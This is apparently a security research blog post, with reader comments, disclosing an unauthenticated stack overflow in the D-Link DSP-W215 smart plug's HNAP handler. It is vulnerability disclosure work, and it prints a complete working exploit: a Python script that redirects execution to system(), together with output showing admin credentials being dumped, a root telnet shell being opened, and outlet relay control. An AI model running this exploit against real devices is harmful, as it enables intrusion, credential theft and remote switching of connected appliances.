Hacking the D-Link DSP-W215 Smart Plug

The D-Link DSP-W215 Smart Plug is a wireless home automation device for monitoring and controlling electrical outlets. It isn’t readily available from Amazon or Best Buy yet, but the firmware is up on D-Link’s web site.

The D-Link DSP-W215

The D-Link DSP-W215

TL;DR, the DSP-W215 contains an unauthenticated stack overflow that can be exploited to take complete control of the device, and anything connected to its AC outlet.

The DSP-W215 firmware contains all the usual stuff you would expect from a Linux-based device:

DSP-W215 Firmware Analysis

DSP-W215 Firmware Analysis

After unpacking and examining the contents of the file system, I found that the smart plug doesn’t have a normal web-based interface; you are expected to configure it using D-Link’s Android/iOS app. The apps however, appear to use the Home Network Administration Protocol (HNAP) to talk to the smart plug.

Being a SOAP-based protocol, HNAP is served up by a lighttpd server running on the smart plug, and the following excerpt from the lighttpd configuration file(s) shows that HNAP requests are passed off to the /www/my_cgi.cgi binary for processing:

...

alias.url += ( "/HNAP1/" => "/www/my_cgi.cgi",
               "/HNAP1"  => "/www/my_cgi.cgi",

...

While HNAP is an authenticated protocol, some HNAP actions – specifically the GetDeviceSettings action – do not require authentication:

XML Output from the GetDeviceSettings Action

XML Output from the GetDeviceSettings Action

GetDeviceSettings only provides a list of supported actions and isn’t of much use by itself, but this does mean that my_cgi.cgi has to parse the request prior to checking for authentication.

HNAP request data is handled by the do_hnap function in my_cgi.cgi. Since HNAP actions are sent as HTTP POST requests, do_hnap first processes the Content-Length header specified in the POST request:

Converting the Content-Length String to an Integer

Converting the Content-Length String to an Integer

Then, naturally, it reads content_length bytes into a fixed-size stack buffer:

fgetc Read Loop

fgetc Read Loop

The following C code is perhaps a bit clearer:

int content_length, i;
char *content_length_str;
char post_data_buf[500000];

content_length = 0;
content_length_str = getenv("CONTENT_LENGTH");

if(content_length_str)
{
   content_length = strtol(content_length_str, 10);
}

memset(post_data_buf, 0, 500000);

for(i=0; i<content_length; i++)
{
   post_data_buf[i] = fgetc();
}

From the memset it is obvious that the post_data_buf stack buffer is only intended to hold up to 500,000 bytes. Since the Content-Length header is trusted blindly, POSTing more than 500,000 bytes will overflow this buffer, but there are quite a few more variables on the stack; it takes 1,000,020 bytes to overwrite everything on the stack up to the saved return address:

# Overflow $ra with 0x41414141
perl -e 'print "D"x1000020; print "A"x4' > overflow.txt
wget --post-file=overflow.txt http://192.168.0.60/HNAP1/
$ra Overwritten With 0x41414141

$ra Overwritten With 0x41414141

What’s more, because the POST data is read into the buffer with an fgetc loop, there are no bad bytes – even NULL bytes are allowed. That’s nice, because at 0x00405CAC in my_cgi.cgi there is this little bit of code that loads $a0 (the first function argument register) with a pointer to the stack ($sp+0x28) and calls system():

system($sp+0x28);

system($sp+0x28);

We just need to overwrite the saved return address with 0x00405CAC and put whatever command we want to run onto the stack at offset 0x28:

import sys
import urllib2

command = sys.argv[1]

buf =  "D" * 1000020         # Fill up the stack buffer
buf += "\x00\x40\x5C\xAC"    # Overwrite the return address on the stack
buf += "E" * 0x28            # Stack filler
buf += command               # Command to execute
buf += "\x00"                # NULL terminate the command string

req = urllib2.Request("http://192.168.0.60/HNAP1/", buf)
print urllib2.urlopen(req).read()

Even better, the stdout of any command we execute is returned in the server’s response:

eve@eve:~$ ./exploit.py 'ls -l /'
drwxr-xr-x    2 1000     1000         4096 Jan 14 14:16 bin
drwxrwxr-x    3 1000     1000         4096 May  9 16:04 dev
drwxrwxr-x    3 1000     1000         4096 Sep  3  2010 etc
drwxrwxr-x    3 1000     1000         4096 Jan 14 14:16 lib
drwxr-xr-x    3 1000     1000         4096 Jan 14 14:16 libexec
lrwxrwxrwx    1 1000     1000           11 May  9 16:01 linuxrc -> bin/busybox
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 lost+found
drwxrwxr-x    7 1000     1000         4096 May  9 15:44 mnt
drwxr-xr-x    2 1000     1000         4096 Jan 14 14:16 mydlink
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 proc
drwxrwxr-x    2 1000     1000         4096 May  9 17:49 root
drwxr-xr-x    2 1000     1000         4096 Jan 14 14:16 sbin
drwxrwxr-x    3 1000     1000         4096 May 15 04:27 tmp
drwxrwxr-x    7 1000     1000         4096 Jan 14 14:16 usr
drwxrwxr-x    3 1000     1000         4096 May  9 16:04 var
-rw-r--r--    1 1000     1000           17 Jan 14 14:16 version
drwxrwxr-x    8 1000     1000         4096 May  9 16:52 www

We can dump configuration settings and admin creds:

eve@eve:~$ ./exploit.py 'nvram show' | grep admin
admin_user_pwd=200416
admin_user_tbl=0/admin_user_name/admin_user_pwd/admin_level
admin_level=1
admin_user_name=admin
storage_user_00=0/admin//

Or start up a telnet server to get a proper root shell:

eve@eve:~$ ./exploit.py 'busybox telnetd -l /bin/sh'
eve@eve:~$ telnet 192.168.0.60
Trying 192.168.0.60...
Connected to 192.168.0.60.
Escape character is '^]'.


BusyBox v1.01 (2014.01.14-12:12+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

/ #

After reversing a bit more of my_cgi.cgi, I found that all you need to do to turn the wall outlet on and off is execute /var/sbin/relay:

/var/sbin/relay 1   # Turns outlet on 
/var/sbin/relay 0   # Turns outlet off 

You can run a little script on the smart plug to play blinkenlights:

#!/bin/sh

OOK=1

while [ 1 ]
do
   /var/bin/relay $OOK

   if [ $OOK -eq 1 ]
   then
      OOK=0
   else
      OOK=1
   fi
done

Controlling a wall outlet can have more serious implications however, as exemplified the following D-Link advertisement:

A Rather Misleading D-Link Advertisement

A Rather Misleading D-Link Advertisement

While the smart plug may be able detect overheating, I suspect that it can only detect if the smart plug itself is overheating – it has no way to monitor the actual temperature of any devices plugged into the wall outlet. So, if you’ve left a space heater plugged in to the outlet and some nefarious person surreptitiously turns the outlet back on, you’re in for a bad day.

It’s unclear if the smart plug attempts to make itself remotely accessible (using UPnP port forwarding rules, for example), as the Android configuration app simply doesn’t work. It couldn’t even establish an initial connection to the smart plug, although my laptop had no problems. When it finally did, it refused to create a MyDlink account for remote access, with the very helpful error message “could not create account”. Although it said it had configured the smart plug to connect to my wireless network, the smart plug did not connect to my network, and it ceased to present itself as an access point for initial configuration. With the wireless borked and no ethernet connection, I was left with no means to further communicate with it. Oh, and there’s no hard reset button either. Ah well, it’s going in the bin anyway.

I suspect that anyone else who has purchased this device hasn’t been able to get it to work either, which is probably a good thing. At any rate, I’d be wary of connecting such a device to either my network or my appliances.

Incidentally, D-Link’s DIR-505L travel router is also affected by this bug, as it has a nearly identical my_cgi.cgi binary.

PoC code for both devices can be found here.

Bookmark the permalink.

46 Responses to Hacking the D-Link DSP-W215 Smart Plug

  1. 688as says:

    Nice little article, thanks.

  2. William C. Brown says:

    D-Link has published an advisory for posting the most updated information for the DSP-W215 @ http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10027

    We will be updating our DIR-505 & DIR-505L advisories soon to address a similar issue in those products.

  3. axet says:

    where 1,000,020 come from? I see only char []500000

    • Craig says:

      The C code shown above is only representative of the relevant code that causes the vulnerability, not the entire do_hnap function, which is quite large. There are many other variables on the stack between the post_data_buf variable and the saved return address.

      • axet says:

        I understand that. Question is how to get this value. Most important and valuable information missing in this tutorial.

        • Craig says:

          You just subtract the stack offset of the saved return address from the stack offset of post_data_buf. These offsets are explicit in the disassembly.

          It’s pretty trivial, but covered in detail in some previous posts.

  4. anthonyn says:

    I was curious about the register window. What is that from, some mips emu?

  5. Pingback: Hacking the D-Link DSP-W215 Smart Plug | Шалаш инженера

  6. Stone Arrow Bearson says:

    These just keep getting better and better!

  7. Rena says:

    Damn. The exploit is just icing on the cake. Can only be configured by an Android/iOS app that requires some sort of “MyDlink account”? Bricked it by trying to configure it? That’s already plenty of reason to stay far away from this thing.

  8. Pingback: Hacking the D-Link DSP-W215 Smart Plug

  9. Pingback: Hacking the D-Link DSP-W215 Smart Plug - Tech key | Techzone | Tech data

  10. Max Kelley says:

    Is that the full version of IDA’s debugger, or the free version? Looks really nice!

  11. Mats Svensson says:

    Great work!

    But in dlink’s defense, Im sure that the thermal sensor will in fact turn of the space heater, as soon as the fire reaches the plug.

    dlink – ‘Better late than never’

  12. Pingback: Hacking the D-Link DSP-W215 Smart Plug | t3chsavy

  13. Sandro says:

    Amazing post Craig,
    I’m trying to replicate your work to study it but im getting stuck virtualizing my_cgi.cgi using qemu and remote gdb and IDA:
    root@kali:~/my_cgi/squashfs-root# chroot . ./qemu-mips-static bin/ls
    /lib/ld-uClibc.so.0: Invalid ELF image for this architecture

    What’s wrong? :-\

    • Sandro says:

      I’ve found a solution, in your blog, it was a qemu fault due to sstrip.
      Thank you Craig, i’ve learned here more than what i’ve learned in 3 years at the university!!!

    • Craig says:

      I used a Debian MIPS image running in Qemu. With that you can run the lighttpd server form the firmware and interact with my_cgi.cgi just as you would if it were running on the DSP-W215.

      • fyk says:

        hello ,Craig
        I am in a puzzle about the address in qemu and in the real device , if the two address is the same? Does the outlet firmware using ASLR technology?

        • Craig says:

          Only the stack is randomized, not libraries. This is typical of embedded devices in general, and MIPS based systems in particular.

  14. Bill says:

    Try setting up this devise if you are using an Airport router, not easy. Ales it seems that if you move the devise from one outlet to another the device needs to be set up again. This leads my to believe that in the event of a power outage you will need to set up every device you own independently.

  15. ednolo says:

    @Sandro: Your uClib looks wrong, either you dont have it at /lib folder, or it is compiled for another kind of mips (le-be msb-lsb). I got the same problem today with other device. Finally I got the library from another firmware from the same device, but it was compiled different (LSB instead MSB). Finally I found one fine for my binary in another firmware version. Good luck!

    @Craig: Is there any tricks to debug libraries? I mean, sometimes the most interesting is in the libraries, but there are not binaries. Or if there are binaries linked with this libraries, I have to patch plenty of exceptions. I’m trying to jump to the important function and changing values in order to keep running the binary. Sometimes is not possible. And it is a big pain.

    Please dont stop writing more posts! :)

  16. GSP says:

    Excellent work!

  17. Pingback: You may want to reconsider hooking up electrical devices to a “smart” power plug device… | Gun Safety Blog

  18. Pingback: Hacking the D-Link DSP-W215 Smart Plug | oogenhand

  19. Sandro says:

    Thank you Craig for your reply.
    By your tips and following the guide on Zach Cutlip’s blog, I’m now able to run Debian (wheezy) mips on qemu.

    Assumung you’re doing debug trough gdb, as what i saw gdbserver can’t handle a process if not starting it or handling one by PID which is alredy running.
    So, the question is: how do you attach my_cgi.cgi process by gdbserver if the process is executed by lighttpd?

  20. Pingback: Hacking the DSP-W215, Again - /dev/ttyS0

  21. Pingback: Hacking the DSP-W215, Again – /dev/ttyS0 | Tinker News

  22. Pingback: Hacking the DSP-W215, Again, Again, Again - /dev/ttyS0

  23. Pingback: D-Link DSP-W215 HNAP "GetDeviceSettings"缓冲区溢出漏洞 | 国联天成

  24. Pingback: Security News #0×72 | CyberOperations

  25. Pingback: Weekly Metasploit Update: Embedded Device Attacks and Automated Syntax Analysis | IT Security News

  26. AF says:

    Hiya, I have the source code files from their website, which directory are you getting this code from?

    • Craig says:

      I haven’t looked at any of the source code that has been released for this product; the my_cgi.cgi binary analyzed here was taken from the firmware image. my_cgi.cgi may be included in the source code in binary form, though I doubt they will have released the source code for this.

  27. Pingback: Exploiting Ammyy Admin – developing an 0day « Thoughts on Security

  28. CMFan says:

    Thanks Craig,
    That was an amazing post. However, I do encounter some issue that I can’t bypass. After setting up qemu-mips and unzip the DIR-505_REVA_FIRMWARE_1.07.bin file. I have all the files in fmk/fmk/rootfs directory.
    Then I found lighttpd is not config correctly yet. So after manually strings out system_manager binary. I copied all the needed files to www. and setup lighttpd.conf correctly. Then after running following command:
    root@ses102:~/fmk/fmk/rootfs# chroot . ./qemu-mips usr/bin/lighttpd -D -f /etc/lighttpd/lighttpd.conf
    It can successfully accept connections from client. However, after I ran metaexploit script for it. it tells me:
    mod_cgi.c.1129: aborted
    qemu: uncaught target signal 6 (Aborted) – core dumped
    2014-10-07 16:15:55: (mod_cgi.c.1388) cleaning up CGI: process died with signal 6

    Then I put -strace argument for qemu:
    root@ses102:~/fmk/fmk/rootfs# chroot . ./qemu-mips -strace usr/bin/lighttpd -D -f /etc/lighttpd/lighttpd.conf

    It said:
    18176 close(254) = -1 errno=9 (Bad file descriptor)
    18176 close(255) = -1 errno=9 (Bad file descriptor)
    18176 execve(“/www/my_cgi.cgi”,{“/www/my_cgi.cgi”,”/www/my_cgi.cgi”,NULL}) = -1 errno=2 (No such file or directory)
    18176 write(2,0x40b67388,9)mod_cgi.c = 9
    18176 write(2,0x40b6766a,1). = 1
    18176 write(2,0x407ffb6b,4)1129 = 4
    18176 write(2,0x40b6766d,10): aborted

    It doesn’t seem to find the cgi file by lighttpd. However, weird thing is in earlier output with -strace, it did have:

    18175 stat64(“/www/my_cgi.cgi”,0x407ffca8) = 0
    18175 open(“/www/my_cgi.cgi”,O_RDONLY|O_LARGEFILE) = 5
    18175 close(5) = 0
    18175 stat64(“/www/my_cgi.cgilogin.htm”,0x407ffc00) = -1 errno=2 (No such file or directory)
    18175 stat64(“/www/my_cgi.cgi”,0x407ffc30) = 0

    So i guess it should have found that file in earlier stage. Is that a bug of qemu to handle execve?

    what did you do to have the lighttpd running?

    • Craig says:

      You’re running lighttpd in user-mode Qemu, which means that any syscalls that lighttpd makes are sent to your underlying x86 kernel. So, when lighttpd performs a syscall to execute my_cgi.cgi it fails because your x86 kernel doesn’t know how to run a MIPS binary.

      You have to run lighttpd in a full MIPS VM, try some of the pre-built MIPS Qemu images here: https://people.debian.org/~aurel32/qemu/.

  29. CMFan says:

    Many thanks Craig,
    It works very well after copying all files into the pre-installed MIPS systems you gave me. :)
    One more question, I am thinking to book the firmware system itself. After running the fmk script to the BIN file. I got two img files in the image_parts dir. binwalk show info like this:

    84 0x54 uImage header, header size: 64 bytes, header CRC: 0xFF61ADAC, created: Thu May 23 05:20:40 2013, image size: 980282 bytes, Data Address: 0x80002000, Entry Point: 0x801FFA20, data CRC: 0x3C5815CD, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: “Linux Kernel Image”
    148 0x94 LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 2861440 bytes
    1048660 0x100054 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 5856471 bytes, 509 inodes, blocksize: 16384 bytes, created: Thu May 23 05:23:04 2013

    the rootfs.img is the squashfile system file that I can use for the file system. However, I need to get that kernel image to boot QEMU. But the header.img is not recognized by file utility. It tells just data file. hexdump -C show following result?

    00000000 33 f9 dc 73 00 78 00 00 00 10 00 00 48 4f 52 4e |3..s.x……HORN|
    00000010 45 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |ET…………..|
    00000020 48 4f 52 4e 45 54 2d 50 41 43 4b 45 54 2d 44 49 |HORNET-PACKET-DI|
    00000030 52 35 30 35 41 31 2d 33 00 00 00 00 00 00 44 45 |R505A1-3……DE|
    00000040 46 00 31 2e 30 37 2e 30 39 00 00 00 00 00 54 00 |F.1.07.09…..T.|
    00000050 00 00 00 00 27 05 19 56 ff 61 ad ac 51 9d df 68 |….’..V.a..Q..h|
    00000060 00 0e f5 3a 80 00 20 00 80 1f fa 20 3c 58 15 cd |…:.. …. <X..|
    00000070 05 05 02 03 4c 69 6e 75 78 20 4b 65 72 6e 65 6c |….Linux Kernel|
    00000080 20 49 6d 61 67 65 00 00 00 00 00 00 00 00 00 00 | Image……….|
    00000090 00 00 00 00 5d 00 00 80 00 80 a9 2b 00 00 00 00 |….]……+….|
    000000a0 00 00 00 6f fd ff ff a3 b7 7f 63 c5 55 7e bc 4d |…o……c.U~.M|
    000000b0 37 52 96 27 37 85 77 0a 76 7c 9c ea 33 4a 4b eb |7R.'7.w.v|..3JK.|
    000000c0 b9 9b 7a 11 fb ce b9 ab b8 84 bb 48 5d e4 6e 20 |..z……..H].n |

    Any clue what file type is this? how can I get the kernel image from it?

    Thanks a lot!

  30. CMFan says:

    I found it might be a lzma stream starts from 194. So I used following to get the file:
    #dd if=~/fmk/fmk/image_parts/header.img bs=1 skip=148 of=/tmp/kernel.lzma

    #lzma -d kernel.lzma

    However, the file kernel from above is also not recognized:
    # hexdump -C kernel

    00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |…………….|
    *
    00000400 27 bd ff c8 af b2 00 2c af bf 00 34 af b3 00 30 |’……,…4…0|
    00000410 af b1 00 28 af b0 00 24 3c 02 80 2c 8c 42 d0 0c |…(…$<..,.B..|
    00000420 00 80 90 21 10 40 00 0e 8f 93 00 14 8f 82 00 00 |…!.@……….|
    00000430 3c 04 80 24 24 84 43 84 8c 43 00 fc 02 40 28 21 |<..$$.C..C…@(!|
    00000440 3c 02 80 2c 00 60 30 21 0c 08 02 ff ac 43 d0 64 |<..,.`0!…..C.d|
    00000450 0c 00 eb 7d 27 a4 00 18 8f b1 00 18 8f b0 00 1c |…}'………..|
    00000460 02 40 f8 09 00 00 00 00 3c 03 80 2c 8c 64 d0 0c |.@……<..,.d..|

  31. jimbean says:

    Get a Fucking life you useless losers !!!!!! I am soooo upset that someone might hack my switch and turn my lamp off… what a joke !! Losers !!!

Leave a Reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>